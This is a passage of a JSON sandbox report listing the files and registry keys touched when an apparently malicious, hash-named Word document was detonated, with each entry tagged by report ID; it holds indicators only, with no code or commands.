T\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index23c.dat","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"C:\\BVTBin\\Tests\\installpackage\\csilogfile.log","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%ALLUSERSPROFILE%\\mvdrt.bat","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\AppPatch\\AcLayers.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\rundll32.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\crypt32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\sendtoonenote.BUD","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\sendtoonenote.gpd","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\stdnames.gpd","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\SendToOneNoteNames.gpd","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\SendToOneNoteFilter.gpd","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"C:\\759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.docx","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\SendToOneNote.ini","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"path":"%TEMP%\\CVR6A55.tmp","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRS{FD7675BD-1FD0-4523-8F08-09E83A6D83F7}.tmp","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"C:\\~$X_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\tstA07A.tmp","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"%TEMP%\\tstA107.tmp","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"%TEMP%\\tstA166.tmp","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"%TEMP%\\tstA1C5.tmp","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRS{12952D61-1372-4F4E-BC8E-3D593B464BFD}.tmp","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\OTX_759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6.doc.LNK","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"},{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"C:\\~WRD0000.tmp","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"C:\\~WRD0000.tmp:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"C:\\~WRD0002.tmp","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"C:\\~WRD0002.tmp:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%TEMP%\\CVR9869.tmp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{5D29430F-9053-40FA-B065-A1FE91ADEF7D}.tmp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%TEMP%\\tstC006.tmp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%TEMP%\\tstC286.tmp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%TEMP%\\tstC4D8.tmp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%TEMP%\\tstC7A7.tmp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%TEMP%\\tstD271.tmp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%TEMP%\\tstD4C3.tmp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{D8AB7E8B-9960-4A27-BECD-59389FD0409B}.tmp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{AC07BF4D-B150-47EB-A71E-488912826651}","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\VYQVV3N5XFA7M9ZE4NIR.temp","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RF3d259a.TMP","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%TEMP%\\2vs51amt.3ag.ps1","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%TEMP%\\4fh3f5gb.vok.psm1","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-Interactive","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"},{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\CVRF6AF.tmp","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRS{A2C118BE-7A3B-4859-9313-98122E96C21F}.tmp","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\tst300F.tmp","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\tst306E.tmp","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\tst30FC.tmp","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\tst316A.tmp","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRS{1FF95D70-8378-4ADB-8247-709FDF2D72FA}.tmp","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\6LDIEKEG\\config14[1].xml","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\AB7DM0DKR3WAIOYNZKNL.temp","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF3a6cb9.TMP","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_l5o0x10l.ftw.ps1","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_rrxznknd.bnf.psm1","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_kd2n32iu.mey.ps1","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_d245rdp5.qvg.psm1","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\REGISTRATION\\","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\REGISTRATION\\HAPUBWS-PC\\{6F327760-8C5C-417C-9B61-836A98287E0C}\\","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00004109F10090400100000000F01FEC\\USAGE\\","sources":[{"report_type":"sandbox","report_id":"5a41944a7ca3e1325e1f0adb"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\SHARED TOOLS\\PANOSE\\","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MATHFONTS\\","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASMANCS\\","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"59f9d6707ca3e174ff77bcc3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LANGUAGERESOURCES\\ENABLEDLANGUAGES\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\WORD\\","sources":[{"report_type":"sandbox","report_id":"68508f4793f3f8fbed0c3da1"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"68508f654f1ab63295019b6d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MATHFONTS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68508f37731f9fb1a60d24cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[